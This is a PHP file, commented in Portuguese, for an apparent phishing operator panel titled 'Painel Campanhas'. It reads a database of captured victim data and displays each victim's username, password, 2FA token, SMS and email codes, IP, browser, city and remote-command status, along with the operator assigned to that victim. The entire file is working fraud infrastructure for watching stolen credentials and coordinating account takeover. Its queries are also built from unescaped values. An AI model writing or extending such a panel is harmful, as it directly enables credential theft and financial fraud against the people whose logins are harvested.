<?php

require "./protect.php";
error_reporting(0);

session_start();

require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";

$CheckTABLE = mysqli_query(DBConnect(), "SELECT * FROM visitas");
$Rows = mysqli_num_rows($CheckTABLE);

?>
<!DOCTYPE html>
<html>
  <head>
    <title>Painel Campanhas</title>
  </head>
  <body style="background-color: #0d1c2c; color: white;">
  <div style="display: flex; justify-content: center; font-size: 30px; text-transform: uppercase; font-weight: bold; padding-top: 20px;">
    <span>
      Bem vindo, <span style="color: gold;"><?php echo $_SESSION["user"]; ?></span>
    </span>
    <form method="post" style="display: flex; justify-content: center; align-items: center; margin-left: 15px;">
      <input type="hidden" name="logout" value="1">
      <input type="submit" value="Sair" style="background-color: #a70000; color: white; padding: 5px; text-align: center; text-decoration: none; display: inline-block; font-size: 15px; border-radius: 5px; border: none;">
    </form>
  </div>
  <div style="display: flex; justify-content: center; font-size: 30px; text-transform: uppercase; font-weight: bold; padding-top: 20px;">
	<span>
			Visitas: <?php echo preg_replace("/\s/", " ", $Rows); ?>
	</span>
  </div>
  <?php

date_default_timezone_set('America/Sao_Paulo');

$dados = DBRead('infos', 'ORDER BY id DESC');

echo"<table style='width: 100%; padding-top: 30px;'>
<thead style='font-family: monospace; font-size: 20px;'>
<tr>
<th>ID</th>
<th>Campanha</th>
<th>USUÁRIO</th>
<th>SENHA</th>
<th>SALDO</th>
<th>STATUS</th>
<th>COMANDO</th>
<th>DATA/HORA</th>
<th>Operador</th>
</tr></thead><tbody style='width: 100%; text-align: center;'>"; ?>

<?php
if (is_array($dados) || is_object($dados)) {
	foreach ($dados as $info) {
		$tempo        = time();
		$id           = $info['id'];
		$ip           = $info['ip'];		
		$Sistema      = $info['sistema'];
		$Navegador    = $info['navegador'];
		$local        = $info['cidade_estado'];
		$dataacesso   = $info['datahora'];
		$status       = $info['status'];
		$op           = $info['op'];
		//
		$usuario      = $info['usuario'];
		$senha        = $info['senha'];
		$token2fa        = $info['saldocamp'];
		$tokensmsver = $info['smscodever'];
		$tokenmailver = $info['emailcodever'];
		$senhafundos = $info['senhafundos'];
		$dadosemail        = $info['dados_do_email'];
		$token2        = $info['token2fa'];
		$camp        = $info['campanha'];
       //
		$comando      = $info['statusremote'];
		$tempo_online = $info['tempo'];
		$min          = $info['minuto'];
		$tempo        = time();
		$statysss     = $info['statusonline'];
		$dataehora    = date("d/m/Y h:i:s");
		$tempooff     = date("s");

		if ($tempooff == 59) {
			$minuto       = $min+1;
			$statusOnline = "ON";

			$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET minuto='$minuto', statusonline='$statusOnline' WHERE ip = '$ip' AND tempo <'$tempo'".-"5");
		}else{
			$minuto       = $min+1;
			$statusOnline = "OFF";

			$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET status='OFF', statusonline='$statusOnline' WHERE ip = '$ip' AND tempo <'$tempo'".-"5");
		}

		
		if($op == ""){
	$operador = "";
}else{
	$operador = $op;
}
$usuarioop = $_SESSION['usuarioNome'];

		echo "<tr>
		<td>
		<span style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;'>$id $Navegador $Sistema $local </span></td>
		<td>
		
		 <input style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;' value='$camp'>
		</td>
      
		<td>
		
		 <input style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;' value='$usuario'>
		</td>

		<td> <input style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;' value='$senha'>
		</td>

		<td ><input style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;' value='$token2fa'></td>
		<td ><input style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;' value='$status'></td>
		<td ><input style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;' value='$comando'></td>
    <td ><span style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;'>$dataacesso</span></td>
	<td ><span style='color: black; font-weight: bold; border: 2px solid black; background-color: white; width: 70%; border-radius: 5px; padding: 8px; text-align: center; font-family: monospace;'>$op</span></td></tr>";
		}
	}else{
		echo "<div style='color:black !important;'><center><h3</h3></center></div>";
	}
?>
  </body>
</html>